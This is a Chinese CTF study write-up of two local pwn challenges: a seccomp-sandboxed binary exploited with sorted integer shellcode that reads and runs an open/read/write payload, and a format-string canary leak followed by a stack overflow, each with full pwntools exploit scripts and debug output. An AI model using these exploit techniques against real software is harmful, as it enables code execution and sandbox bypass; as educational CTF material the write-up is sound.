题目文件: 本链接+./sorted ./ezpwn
总结下来就是基础太不牢固了,很多小点都不清楚,浪费时间,每次遇到后都要尽量及时解决,查缺补漏。
sorted 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl main (int argc, const char **argv, const char **envp) { int i; int j; void *dest; sandbox(); puts ("Just give you ten seconds before you DIE!" ); dest = mmap(0LL , 0x1000 uLL, 7 , 34 , -1 , 0LL ); for ( i = 10 ; i > 0 ; --i ) { printf ("%d!\n" , (unsigned int )i); scanf ("%d" , &DIEnum[i]); } puts ("Before you die,I must do something." ); std ::sort<int *>(&unk_203044, &unk_20306C); puts ("let's see what'U have said" ); for ( j = 1 ; j <= 10 ; ++j ) printf ("%d\n" , DIEnum[j]); puts ("Hahahahahaha!Now,taste the fear" ); memcpy (dest, DIEnum, 0x100 uLL); ((void (*)(void ))dest)(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 #include <bits/stdc++.h> #include <sys/prctl.h> #include <linux/seccomp.h> #include <linux/filter.h> #include <unistd.h> #include <sys/mman.h> int DIEnum[20 ];void sandbox () { struct sock_filter filter [] = { BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4 ), BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e ,0 ,2 ), BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0 ), BPF_JUMP(BPF_JMP+BPF_JEQ,59 ,0 ,1 ), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short )(sizeof (filter)/sizeof (filter[0 ])), .filter = filter, }; prctl(PR_SET_NO_NEW_PRIVS,1 ,0 ,0 ,0 ); prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog); } int main () { sandbox(); puts ("Just give you ten seconds before you DIE!" ); char * v1=(char *)mmap(0 ,0x1000 ,7 ,34 ,-1 ,0ll ); for (int i=10 ;i>=1 ;--i){ printf ("%d!\n" ,i); scanf ("%d" ,&DIEnum[i]); } puts ("Before you die,I must do something." ); std ::sort(DIEnum+1 ,DIEnum+11 ); puts ("let's see what'U have said" ); for (int i=1 ;i<=10 ;++i){ printf ("%d\n" ,DIEnum[i]); } puts ("Hahahahahaha!Now,taste the fear" ); memcpy (v1,DIEnum,0x100 ); ((void (*) (void )) v1)(); return 0 ; }
题目分析 打眼一看就发现是一个排序,但是由于自己对端续、有符号数、内存值等一些概念不清楚、晕乎了很常见。
首先这道题并不是要找一个最小化的shellcode,直接拿shell(应该是可以绕过的把,),因为排序的因素,直接拿shell排序会比较难,不如先read进来,没限制了,再干其他的。
沙箱 有沙箱保护 seccomp-tools dump ./rop
execve类似的还有吧 execveat
1 2 3 4 5 6 7 8 9 line CODE JT JF K ================================= 0000 : 0x20 0x00 0x00 0x00000004 A = arch 0001 : 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002 : 0x20 0x00 0x00 0x00000000 A = sys_number 0003 : 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004 : 0x06 0x00 0x00 0x00000000 return KILL 0005 : 0x06 0x00 0x00 0x7fff0000 return ALLOW
if (A >= 0x40000000) goto 0006 没有这个哦
https://www.anquanke.com/post/id/219077
http://shell-storm.org/shellcode/files/shellcode-905.html
这里有一个比较短的execveat的shellcode,但是,仍然比较难排序,因为指令太多了,而且有个长指令必须连起来
如果不绕过的话就 orw了
对 ((void (*)(void))dest)()的理解 dest怎么理解呢,(还好要到了原题,不然。。也可以自己再写一遍的。。都问题不大,多动手!)
其实就是存放的shellcode的地址,然后当成函数,直接调用这个位置的指令,(就是函数指针)
((void (*)(void))dest)() , 将dest转换为一个函数指针 ,函数不带参数,且无返回值
call rax, 然后就可以执行shellcode吗
rax里存放的是shellcode那里的起始地址,也就是将要执行的指令的地址 ,call会做两件事,一件是把当前的下一条指令压栈,另外一件是把rax指向的地址赋值给rip(类似于jmp)
思路 长度还有限制,所以应该是先通过一个read片段,把后续代码读入mmap的空间(不会受排序影响),然后再跳转过去即可。
注意可以利用的信息,rdi存储着mmap的地址,可以利用
这里有个细节,读入的地址不要和要执行的jmp重合, 很容易覆盖到jmp那里,影响指令,所以需要往后写,比如rdi+0x100
shellcode 排序 64位系统调用规则: rax是系统调用号,参数和函数的一样,rdi、rsi、rdx。。
00也会被解释的,所以需要补齐,用0x90 nop 0xfc cld这种指令,并且可以利用他们来调整顺序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 read(0 ,buf,0x100 ) 48 8b df mov rbx,rdi 31 d2 xor edx,edx b6 01 mov dh,0x1 48 01 d3 add rbx,rdx 31 C0 xor eax,eax 31 ff xor edi,edi 48 89 de mov rsi,rbx 0f 05 syscallff e6 jmp rbx 所以问什么不 48 89 fe mov rsi,rdi 31 d2 xor edx,edxb6 01 mov dh,0x1 48 01 d6 add rsi,rdx 31 C0 xor eax,eax 31 ff xor edi,edi 0f 05 syscallff e6 jmp rsi 注意字节序是反的 0xfe8948 0xd231 0x01b6 0xd60148 0xc031 0xff31 0x050f 0xe6ff 排序有几个注意点 1. 负数是自身绝对值越大, 数值越大吗。。(是的把,按位取反加1 ,看起来越大的值,补码越小,再加符号,越大,)(有空再看看。。2. 谁必须在谁前面 一个90 ,一个fc就可以保证了3. syscall和jmp rsi必须在最后(fcfc就可以保证了,其他的最大fc90) 0x90fe8948 0x9090d231 0x90fc01b6 0xfcd60148 0xfc90c031 0xfc90ff31 0xfcfc050f 0xfcfce6ff 0x7fffffff 0x7fffffff -1869557199 -1862532682 -1862366904 -57622479 -57606351 -53083832 -50592497 -50534657 2147483647 2147483647
同学的:
写一个脚本辅助生成(其实就是模拟题目) 这里是不是可以用cap那个工具 显示指令(埋个坑吧)、以及连起来更多的,一键生成exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <bits/stdc++.h> #include <unistd.h> #include <sys/mman.h> int DIEnum[20 ];int main () { puts ("10" ); char * v1=(char *)mmap (0 ,0x1000 ,7 ,34 ,-1 ,0ll ); for (int i=0 ;i<=9 ;i++){ scanf ("%x" ,&DIEnum[i]); } printf ("未排序前结果:\n" ); for (int i=0 ;i<=9 ;i++){ printf ("%d\n" ,DIEnum[i]); } std::sort (DIEnum,DIEnum+10 ); printf ("排序后结果:\n" ); for (int i=0 ;i<=9 ;i++){ printf ("0x%-16x %d\n" ,DIEnum[i],DIEnum[i]); } printf ("输入的值:\n" ); for (int i=0 ;i<=9 ;i++){ printf ("%d " ,DIEnum[i]); } return 0 ; }
二段shellcode 这里应该就随意了,生成一个orw的就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *context.arch = 'amd64' context.endian = 'little' shellcode = shellcraft.open ("./flag" ) shellcode += shellcraft.read("rax" ,"rsp" ,100 ) shellcode += shellcraft.write(1 ,"rsp" ,100 ) print (asm(shellcode))
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context.arch = 'amd64' context.endian = 'little' io = process('./sorted' ) context(os='linux' ,log_level="debug" ) context.terminal = ['tmux' , 'splitw' , '-h' ] gdb.attach(io) io.sendline(b'-1869557199 -1862532682 -1862366904 -57622479 -57606351 -53083832 -50592497 -50534657 2147483647 2147483647' ) ''' sc_elf = ELF('b.out') sc = sc_elf.get_section_by_name('.shellcode').data() print(sc) ''' sc = b'hflagH\x89\xe71\xd21\xf6j\x02X\x0f\x05\x89\xc71\xc0j ZH\x89\xe6\x0f\x05j\x01_j ZH\x89\xe6j\x01X\x0f\x05\xcc' shellcode = shellcraft.open ("./flag" ) shellcode += shellcraft.read("rax" ,"rsp" ,100 ) shellcode += shellcraft.write(1 ,"rsp" ,100 ) io.send(flat({ 0 : asm(shellcode), 0x100 : [], })) io.interactive()
各种疑惑 问: 为什么-490631024 读入内存会成为 0xe2c19090
答: 负数会采用补码来存储
问: 为什么前期用python得到的数 输入进去奇奇怪怪
答:0xfcffffff scanf %d 读取的时候,会解释为负数,所以 不能用python里的直接数值转换来得到题目要输入的值(怪不得前期一直不对。。)
1 2 3 4 5 6 7 8 9 10 value = 0xfcffffff if 0xfcffffff < 0x80000000 else 0xfcffffff - 0x100000000 print (value)这样就对了 或者 import structdata = struct.pack("I" , 0xfcffffff ) value = struct.unpack("i" , data)[0 ] print (value)
怎么比较好的在gdb中查看shellcode的汇编呢
display /20i $pc
https://blog.csdn.net/counsellor/article/details/100034080
https://amritabi0s.wordpress.com/2017/10/23/hack-lu-ctf-bit-writeup/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *context.arch = 'amd64' context.endian = 'little' shellcode = shellcraft.sh() shellcodeasm = asm(shellcraft.sh()) disassembled = disasm(shellcodeasm) instructions = disassembled.split('\n' ) for instruction in instructions: print (instruction) print (shellcodeasm.hex ())assembly_code = "mov eax,0x123" hex_assembly = asm(assembly_code) hex_assembly_code = asm(assembly_code).hex () hex_assembly_1 = disasm(hex_assembly) print (f"汇编指令二进制表示: {hex_assembly} " )print (f"汇编指令的十六进制表示: {hex_assembly_code} " )print (f"汇编指令: {hex_assembly_1} " )shellcraft.read()
pwn asm汇编器
https://leeyuxun.github.io/pwntools%E6%A8%A1%E5%9D%97%E6%80%BB%E7%BB%93.html
https://zero-mk.github.io/2019/01/01/pwntools-Command%20Line%20Tools/
1 2 3 pwn asm "mov eax,0x1" b801000000
ez_pwn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[32 ]; unsigned __int64 v5; v5 = __readfsqword(0x28 u); puts ("input your name" ); fflush(_bss_start); read(0 , buf, 0x20 uLL); puts ("hello: " ); fflush(_bss_start); printf (buf); puts ("leave some message" ); fflush(_bss_start); read(0 , buf, 0x48 uLL); return 0 ; }
主要是有个canary,把canary泄露出来就可以了,普通栈溢出,利用格式化字符串来泄露canary,注意前六个参数是在寄存器里的值呀。
然后接收的时候注意先把hello:什么的接收了,
1 2 3 4 5 6 7 8 9 10 11 [DEBUG] Received 0x10 bytes: b' input your name\n' [DEBUG] Sent 0x6 bytes: b' %11 $p\n' b' \n' [DEBUG] Received 0x2e bytes: b' hello: \n' b'0 x2535be38a9253e00\n' b'l eave some message\n' b' hello: \n'
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *context(os='linux' ,log_level="debug" ) p = process("ezpwn" ) context.terminal = ['tmux' , 'splitw' , '-h' ] p.recvuntil("name" ) p.sendline(b"%11$p" ) print (p.recvline())print (p.recvline())canary = int (p.recvline()[:-1 ],16 ) print ("canary:" ,hex (canary))print ("canary:" ,canary)p.recvuntil("message" ) payload = b"a" *40 +p64(canary) + p64(0x123456 ) + p64(0x4012b0 )+p64(0x4011d6 ) p.send(payload) p.recv(1024 ) p.interactive()
关于格式化字符串传参: 传递10个参数看看
1 2 3 4 5 #include <stdio.h> void main () { printf ("1:%s 2:%s 3:%s 4:%s 5:%s 6:%s 7:%s 8:%s 9:%s\n" ,"1aaa" ,"2bbb" ,"3ccc" ,"4ddd" ,"5eee" ,"6fff" ,"7ggg" ,"8hhh" ,"9iii" ); }
rdi、rsi、rdx、rcx、r8、r9
可以看到前5个在寄存器,后面在栈里,从rsp开始
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 *RAX 0x0 RBX 0x5555555551b0 (__libc_csu_init) ◂— endbr64 RCX 0x555555556012 ◂— 0x6262320063636333 RDX 0x555555556017 ◂— 0x6161310062626232 RDI 0x555555556028 ◂— '1:%s 2:%s 3:%s 4:%s 5:%s 6:%s 7:%s 8:%s 9:%s\n' RSI 0x55555555601c ◂— 0x61616131 R8 0x55555555600d ◂— 0x6363330064646434 R9 0x555555556008 ◂— 0x6464340065656535 R10 0x3 R11 0x0 R12 0x555555555060 (_start) ◂— endbr64 R13 0x7fffffffe5a0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffe4b0 ◂— 0x0 RSP 0x7fffffffe490 —▸ 0x555555556065 ◂— 0x100000066666636 *RIP 0x5555555551a0 (main+87 ) ◂— call 0x555555555050 00 :0000 │ rsp 0x7fffffffe490 —▸ 0x555555556065 ◂— 0x100000066666636 01 :0008 │ 0x7fffffffe498 —▸ 0x555555556060 ◂— 0x6666360067676737 02 :0010 │ 0x7fffffffe4a0 —▸ 0x55555555605b ◂— 0x6767370068686838 03 :0018 │ 0x7fffffffe4a8 —▸ 0x555555556056 ◂— 0x6868380069696939 04 :0020 │ rbp 0x7fffffffe4b0 ◂— 0x0 05 :0028 │ 0x7fffffffe4b8 —▸ 0x7ffff7de4083 (__libc_start_main+243 ) ◂— mov edi, eax06 :0030 │ 0x7fffffffe4c0 —▸ 0x7ffff7ffc620 (_rtld_global_ro) ◂— 0x50f7a00000000 07 :0038 │ 0x7fffffffe4c8 —▸ 0x7fffffffe5a8 —▸ 0x7fffffffe7f4 ◂— '/home/ubuntu/c/a.out'
问题 类似的题
https://blog.csdn.net/tbsqigongzi/article/details/124371294
这个为什么进入ret了,但是失败了? ret栈平衡?
fflush(_bss_start);有什么用呢